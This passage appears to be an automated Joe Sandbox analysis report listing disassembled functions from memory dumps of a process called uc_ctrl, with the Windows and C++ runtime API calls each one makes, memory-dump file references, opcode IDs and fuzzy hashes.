                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Close$PrivateProfileStringValueWriteswprintf
                                                                                              • String ID:
                                                                                              • API String ID: 581541481-0
                                                                                              • Opcode ID: a12cd91b884b27729ed05d7ee6c7580a74c7897342605e101aa7dd7b113b6ca7
                                                                                              • Instruction ID: f7343c33c6b3d2e1c7421685c311ab47a3a5e26bb1d34f06972f652b73781bf1
                                                                                              • Opcode Fuzzy Hash: a12cd91b884b27729ed05d7ee6c7580a74c7897342605e101aa7dd7b113b6ca7
                                                                                              • Instruction Fuzzy Hash: 3A016D72A01209BBEB10DB649C45FBF77BCEF49614F21441AFA01A7280DBB5ED049761
                                                                                              Function 6CF04CA0 Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF04CA7
                                                                                              • ?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000018), ref: 6CF04CD5
                                                                                              • ?sputbackc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?,?,?,?,?,?,00000001,?,00000000,00000018), ref: 6CF04CFE
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,00000001,?,00000000,00000018), ref: 6CF04D59
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_W@std@@@std@@$?clear@ios_base@std@@?setstate@?$basic_ios@_?sputbackc@?$basic_streambuf@_H_prolog3_catch
                                                                                              • String ID:
                                                                                              • API String ID: 2493636478-0
                                                                                              • Opcode ID: a4e996d865ccc2f8557418a922558acf4966cfaea5b177d2333895dbb4fab9f4
                                                                                              • Instruction ID: edf1e399b70bf5f93180dde130c3cf1206b4c6eccc0c32c89b9ebccd3f19fcb7
                                                                                              • Opcode Fuzzy Hash: a4e996d865ccc2f8557418a922558acf4966cfaea5b177d2333895dbb4fab9f4
                                                                                              • Instruction Fuzzy Hash: 2611C131B021159FCB00CB58C490AEDBBF5AF59B18F24805AE415AB791CB74DE45EB90
                                                                                              Function 6CF01A60 Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF01A67
                                                                                              • ?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000018), ref: 6CF01A95
                                                                                              • ?sputbackc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?,?,?,?,?,?,00000001,?,00000000,00000018), ref: 6CF01ABE
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,00000001,?,00000000,00000018), ref: 6CF01B19
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_W@std@@@std@@$?clear@ios_base@std@@?setstate@?$basic_ios@_?sputbackc@?$basic_streambuf@_H_prolog3_catch
                                                                                              • String ID:
                                                                                              • API String ID: 2493636478-0
                                                                                              • Opcode ID: 495b123e4772b45bc5929d26fe5db0679a11128825962433183df3548d7ae612
                                                                                              • Instruction ID: 07bb58156ff0bad9583f853f32293981a90944709ec6e8ec30ded3496b021ca1
                                                                                              • Opcode Fuzzy Hash: 495b123e4772b45bc5929d26fe5db0679a11128825962433183df3548d7ae612
                                                                                              • Instruction Fuzzy Hash: 8611C171B011159FCB00CBA8C8A0AEDFBF4AF08B1CF24805AE015AB791CB75DA45DB90
                                                                                              Function 6CF04A00 Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CF04A07
                                                                                              • ?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000020), ref: 6CF04A27
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000,?,00000001,?,00000000,00000020), ref: 6CF04A86
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ?clear@ios_base@std@@?setstate@?$basic_ios@_H_prolog3U?$char_traits@_W@std@@@std@@
                                                                                              • String ID:
                                                                                              • API String ID: 1215715714-0
                                                                                              • Opcode ID: 34ab0b10d2b5d0fbf02553bc1a7f734168e373dcbd806faa4f8da55610ce410f
                                                                                              • Instruction ID: aed06ced11eec2160b44ab4676722b7530053a0fc3f73d99216e60c5942c1c3f
                                                                                              • Opcode Fuzzy Hash: 34ab0b10d2b5d0fbf02553bc1a7f734168e373dcbd806faa4f8da55610ce410f
                                                                                              • Instruction Fuzzy Hash: 80117631B006049BCB04DFA8C8A1BEDBBB5AF08728F18815CE516AB692C770E955DB50
                                                                                              Function 6CF92163 Relevance: 6.1, APIs: 4, Instructions: 54stringCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: TextWindow$_wcslenlstrcmp
                                                                                              • String ID:
                                                                                              • API String ID: 2815616929-0
                                                                                              • Opcode ID: c890301411c15766bce2ad6beae03a24bbb02af2a0bdb8847ab21cf39d690ccd
                                                                                              • Instruction ID: 47f39cdc3673fa54782a11dae985b7c2eacc88b216f34d14a2d0fb38220c55a5
                                                                                              • Opcode Fuzzy Hash: c890301411c15766bce2ad6beae03a24bbb02af2a0bdb8847ab21cf39d690ccd
                                                                                              • Instruction Fuzzy Hash: E401B9B1902218ABEF10AF649C48FEE77BCDF49714F114069EE15D3500EF75DA4487A2
                                                                                              Function 6CF01990 Relevance: 6.1, APIs: 4, Instructions: 54COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF01997
                                                                                              • ?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000018), ref: 6CF019C5
                                                                                              • ?sungetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,?,?,?,?,00000001,?,00000000,00000018), ref: 6CF019EB
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,00000001,?,00000000,00000018), ref: 6CF01A46
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_W@std@@@std@@$?clear@ios_base@std@@?setstate@?$basic_ios@_?sungetc@?$basic_streambuf@_H_prolog3_catch
                                                                                              • String ID:
                                                                                              • API String ID: 1267243179-0
                                                                                              • Opcode ID: 39c0c8d3ad6513dab354aadfc224219f4a1d15730449b101027ead365447155f
                                                                                              • Instruction ID: 81b1f8dbaca61c78540a4a906c45a1aead3f684c83396d23ecf7c3ad032069ac
                                                                                              • Opcode Fuzzy Hash: 39c0c8d3ad6513dab354aadfc224219f4a1d15730449b101027ead365447155f
                                                                                              • Instruction Fuzzy Hash: 9411E031B011159FCB00CB68C5A1AEDBBF4EF08B1CFA4805AE045ABB81CB74DE46DB90
                                                                                              Function 6CF04BD0 Relevance: 6.1, APIs: 4, Instructions: 54COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF04BD7
                                                                                              • ?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000018), ref: 6CF04C05
                                                                                              • ?sungetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,?,?,?,?,00000001,?,00000000,00000018), ref: 6CF04C2B
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,00000001,?,00000000,00000018), ref: 6CF04C86
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_W@std@@@std@@$?clear@ios_base@std@@?setstate@?$basic_ios@_?sungetc@?$basic_streambuf@_H_prolog3_catch
                                                                                              • String ID:
                                                                                              • API String ID: 1267243179-0
                                                                                              • Opcode ID: 0f7f7d6fcfa912ca2280dcc74dc9eb2b63b1e73eb69ccce488dd724dcba03547
                                                                                              • Instruction ID: 7346f21765e8da462a1e7d6d6c9f021c491ac2fa6dfcb6a5c66eac08a11ec5c7
                                                                                              • Opcode Fuzzy Hash: 0f7f7d6fcfa912ca2280dcc74dc9eb2b63b1e73eb69ccce488dd724dcba03547
                                                                                              • Instruction Fuzzy Hash: 28119E72B011159FCB10DB68C5A0AEDBBF4AF48B18F64809AE005ABB91CB75DE45DB90
                                                                                              Function 6CF07A80 Relevance: 6.1, APIs: 4, Instructions: 53COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF07A87
                                                                                              • ?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000018), ref: 6CF07AB5
                                                                                              • ?sputbackc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(?,?,?,?,?,?,00000001,?,00000000,00000018), ref: 6CF07ADE
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,00000001,?,00000000,00000018), ref: 6CF07B31
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ?clear@ios_base@std@@?setstate@?$basic_ios@_?sputbackc@?$basic_streambuf@D@std@@@std@@H_prolog3_catchU?$char_traits@U?$char_traits@_W@std@@@std@@
                                                                                              • String ID:
                                                                                              • API String ID: 3662155203-0
                                                                                              • Opcode ID: 24fe08ce637249bdd41ddba809f7332417289d807b23e6e9032b0ae934da635e
                                                                                              • Instruction ID: 82f925d6d72f4682a8e32beb40966ac885921faf3f29479dc30da511f77053cf
                                                                                              • Opcode Fuzzy Hash: 24fe08ce637249bdd41ddba809f7332417289d807b23e6e9032b0ae934da635e
                                                                                              • Instruction Fuzzy Hash: 3E11A375B01104DBCB00CF68C9D0ADDFBF5AF08B18F24819AE015AB791CB71DA46DB90
                                                                                              Function 6D0D4C59 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,6D0D4C00,?,00000000,00000000,00000000,?,6D0D4E71,00000006,FlsSetValue), ref: 6D0D4C8B
                                                                                              • GetLastError.KERNEL32(?,6D0D4C00,?,00000000,00000000,00000000,?,6D0D4E71,00000006,FlsSetValue,6D122278,6D122280,00000000,00000364,?,6D0D39F6), ref: 6D0D4C97
                                                                                              • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,6D0D4C00,?,00000000,00000000,00000000,?,6D0D4E71,00000006,FlsSetValue,6D122278,6D122280,00000000), ref: 6D0D4CA5
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: LibraryLoad$ErrorLast
                                                                                              • String ID:
                                                                                              • API String ID: 3177248105-0
                                                                                              • Opcode ID: 6b9b6172bde3d871bd4ea856346dab3d2998d2266d2f0b7d0f2037c7f8662b15
                                                                                              • Instruction ID: 9200921563e5d32a9b2c11ff418b5121743907bf7832105a8fe963a604c7c311
                                                                                              • Opcode Fuzzy Hash: 6b9b6172bde3d871bd4ea856346dab3d2998d2266d2f0b7d0f2037c7f8662b15
                                                                                              • Instruction Fuzzy Hash: 4C01D432655327BBEB92CB699C85B5637E8EF0EBB17200621F905D7240DB21D840C6E0
                                                                                              Function 6CF079B0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF079B7
                                                                                              • ?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000018), ref: 6CF079E5
                                                                                              • ?sungetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,?,?,?,?,00000001,?,00000000,00000018), ref: 6CF07A0B
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,00000001,?,00000000,00000018), ref: 6CF07A5E
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ?clear@ios_base@std@@?setstate@?$basic_ios@_?sungetc@?$basic_streambuf@D@std@@@std@@H_prolog3_catchU?$char_traits@U?$char_traits@_W@std@@@std@@
                                                                                              • String ID:
                                                                                              • API String ID: 2884342730-0
                                                                                              • Opcode ID: 76c2341bdea8c7e265727d13afad8c1942f23d99c9d8356db630cbd144d5053f
                                                                                              • Instruction ID: 4b8f4b5baaee8931bdfe0d53d0098bcdd20c6467c3b2544ccebd0c96a0c695e2
                                                                                              • Opcode Fuzzy Hash: 76c2341bdea8c7e265727d13afad8c1942f23d99c9d8356db630cbd144d5053f
                                                                                              • Instruction Fuzzy Hash: 2111A031B00214DBCB04CB68C491ADDBBF5BF09B18F24819EE015ABB91CB75EA45DB90
                                                                                              Function 6D0D3924 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetLastError.KERNEL32(?,?,6D0C72F3,?,00000111,?,6D0C75BB,00000000,00000111,?,?), ref: 6D0D3928
                                                                                              • SetLastError.KERNEL32(00000000,00000111,?,?), ref: 6D0D3990
                                                                                              • SetLastError.KERNEL32(00000000,00000111,?,?), ref: 6D0D399C
                                                                                              • _abort.LIBCMT ref: 6D0D39A2
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ErrorLast$_abort
                                                                                              • String ID:
                                                                                              • API String ID: 88804580-0
                                                                                              • Opcode ID: 43be5d6d3da97a2c6ba224e5688aadb018a9ab8c98d63701a4a29475934774da
                                                                                              • Instruction ID: 428c761493cdfa059d4c45f4d6a563d719a3968b718b56cf7a73b3e1f221cfe9
                                                                                              • Opcode Fuzzy Hash: 43be5d6d3da97a2c6ba224e5688aadb018a9ab8c98d63701a4a29475934774da
                                                                                              • Instruction Fuzzy Hash: 8CF0CD7650C70137F7C35B79AC48B1E66755FCEA75B22402BFB2493184EFE8C4024121
                                                                                              Function 6CEDAAE0 Relevance: 6.0, APIs: 4, Instructions: 50COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • EnterCriticalSection.KERNEL32(6CF345F0), ref: 6CEDAAF0
                                                                                              • calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,00000198), ref: 6CEDAB12
                                                                                              • __Thrd_current.LIBCPMT ref: 6CEDAB40
                                                                                                • Part of subcall function 6CEDA990: GetCurrentProcess.KERNEL32(?,00000002,00000001,00000000), ref: 6CEDA99F
                                                                                                • Part of subcall function 6CEDA990: GetCurrentThread.KERNEL32 ref: 6CEDA9A6
                                                                                                • Part of subcall function 6CEDA990: GetCurrentProcess.KERNEL32(00000000), ref: 6CEDA9AD
                                                                                                • Part of subcall function 6CEDA990: DuplicateHandle.KERNEL32(00000000), ref: 6CEDA9B4
                                                                                                • Part of subcall function 6CEDA990: CloseHandle.KERNEL32(?), ref: 6CEDA9C1
                                                                                                • Part of subcall function 6CEDA990: GetCurrentThreadId.KERNEL32 ref: 6CEDA9CD
                                                                                              • LeaveCriticalSection.KERNEL32(6CF345F0), ref: 6CEDAB6F
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Current$CriticalHandleProcessSectionThread$CloseDuplicateEnterLeaveThrd_currentcalloc
                                                                                              • String ID:
                                                                                              • API String ID: 4125661966-0
                                                                                              • Opcode ID: cdb4ecc1290d1adcfe6d829da85dc236ce3c4271b0de6acb2744d348b8b41090
                                                                                              • Instruction ID: 0c0169a2ee5c276653046475025700bec2333a7f96057faf09a30068ccc0c083
                                                                                              • Opcode Fuzzy Hash: cdb4ecc1290d1adcfe6d829da85dc236ce3c4271b0de6acb2744d348b8b41090
                                                                                              • Instruction Fuzzy Hash: C811A071640B06FFD3148F29D440B96BBF1FB85319F22462AE05E87A40D731F5438AE0
                                                                                              Function 6CEF1A00 Relevance: 6.0, APIs: 4, Instructions: 49COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEF1A07
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000000C), ref: 6CEF1A15
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEEE064: __EH_prolog3.LIBCMT ref: 6CEEE06B
                                                                                                • Part of subcall function 6CEEE064: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE56F,00000010,?,?,00000000), ref: 6CEEE076
                                                                                                • Part of subcall function 6CEEE064: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6CEEE08E
                                                                                                • Part of subcall function 6CEEE064: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6CEEE0F2
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEF1A2E
                                                                                              • ?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(?,?,?,00000000,0000270F,00000000,00000000,?,?,?,?,0000000C), ref: 6CEF1A4C
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3U?$char_traits@_V?$istreambuf_iterator@_$??1_?getloc@ios_base@std@@Bid@locale@std@@Getint@?$time_get@_Lockit@std@@V?$ctype@_Vlocale@2@W@2@@W@std@@@2@0W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 59661042-0
                                                                                              • Opcode ID: a13911c7b2f0e7d0dd7bf2137694e1ad9c76d98230fc45cb9f5cc9649d01a4ce
                                                                                              • Instruction ID: eba27b2fceed790f734d7dfab00e210e5bac961b1e62cae78ad98d103d114c93
                                                                                              • Opcode Fuzzy Hash: a13911c7b2f0e7d0dd7bf2137694e1ad9c76d98230fc45cb9f5cc9649d01a4ce
